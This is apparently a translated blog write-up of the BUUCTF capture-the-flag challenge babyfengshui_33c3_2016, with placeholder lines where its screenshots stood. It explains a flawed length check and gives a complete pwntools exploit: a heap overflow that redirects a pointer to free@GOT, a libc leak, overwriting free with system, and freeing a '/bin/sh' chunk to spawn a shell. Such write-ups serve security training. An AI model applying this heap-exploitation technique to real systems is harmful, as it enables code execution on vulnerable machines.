buuctf babyfengshui_33c3_2016

These are the four main functions:
add function:
Insert picture description here
the input part of the add function:
Insert picture description here
at the same time, this is also the update function, in fact, this function has overflow loopholes, it has a problem with the length check, which will be used later A little
delete function:
Insert picture description here
display function:
Insert picture description here
first create a few chunks at will, look at the layout,

add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"cccc")

Insert picture description here
Take the first one as an example. The chunk that stores text comes first, followed by the chunk that stores name, which stores the pointers of name and chunk0. Let's take a look at the program's check on the input length:
Insert picture description here
for chunk0, it is whether 0x80c008+input length is greater than 0x804c08c. However, there is a problem that chunk0 and chunk0(name) are not necessarily adjacent to each other, so there is a possibility of overflow

add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"/bin/sh\x00")
delete(0)
add(0x100,'nam1',0x100,"cccc")

After this step, the newly applied chunk3 will be in front of chunk1 and chunk2, and chunk3(name) will be behind chunk1 and chunk2, so that long data can be input

payload='a'*0x108+'a'*0x8+'a'*0x80+'a'*0x8+p32(free_got)
update(3,0x200,payload)

Change the chunk1 pointer stored at chunk1(name) to the address of free_got

show(1)
sh.recvuntil("description: ")
free_addr=u32(sh.recv(4))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system_addr=libc_base+libc.dump("system")

Output the address of the free function and calculate the address of the system function

update(1,0x80,p32(system_addr))
delete(2)
sh.interactive()

Modify the address of the free function to the address of the system function. Since chunk2 stores "/bin/sh", executing free(chunk2) at this time is equivalent to executing system("/bin/sh")
complete exp:

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
sh=remote("node3.buuoj.cn",25902)
elf=ELF('./babyfengshui_33c3_2016')
puts_got=elf.got['puts']
free_got=elf.got['free']

def add(size,name,length,text):
	sh.recvuntil("Action: ")
	sh.sendline("0")
	sh.sendlineafter("size of description: ",str(size))
	sh.sendlineafter("name: ",name)
	sh.recvuntil("text length:")
	sh.sendline(str(length))
	sh.recvuntil("text:")
	sh.sendline(text)
def delete(index):
	sh.recvuntil("Action: ")
	sh.sendline("1")
	sh.recvuntil("index: ")
	sh.sendline(str(index))
def show(index):
	sh.recvuntil("Action: ")
	sh.sendline("2")
	sh.recvuntil("index: ")
	sh.sendline(str(index))
def update(index,length,text):
	sh.recvuntil("Action: ")
	sh.sendline("3")
	sh.recvuntil("index: ")
	sh.sendline(str(index))
	sh.recvuntil("text length: ")
	sh.sendline(str(length))
	sh.recvuntil("text: ")
	sh.sendline(text)

add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"/bin/sh\x00")
delete(0)
add(0x100,'nam1',0x100,"cccc")
payload='a'*0x108+'a'*0x8+'a'*0x80+'a'*0x8+p32(free_got)
update(3,0x200,payload)
show(1)
sh.recvuntil("description: ")
free_addr=u32(sh.recv(4))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system_addr=libc_base+libc.dump("system")
update(1,0x80,p32(system_addr))
delete(2)
sh.interactive()

Guess you like

Origin blog.csdn.net/weixin_45677731/article/details/108093060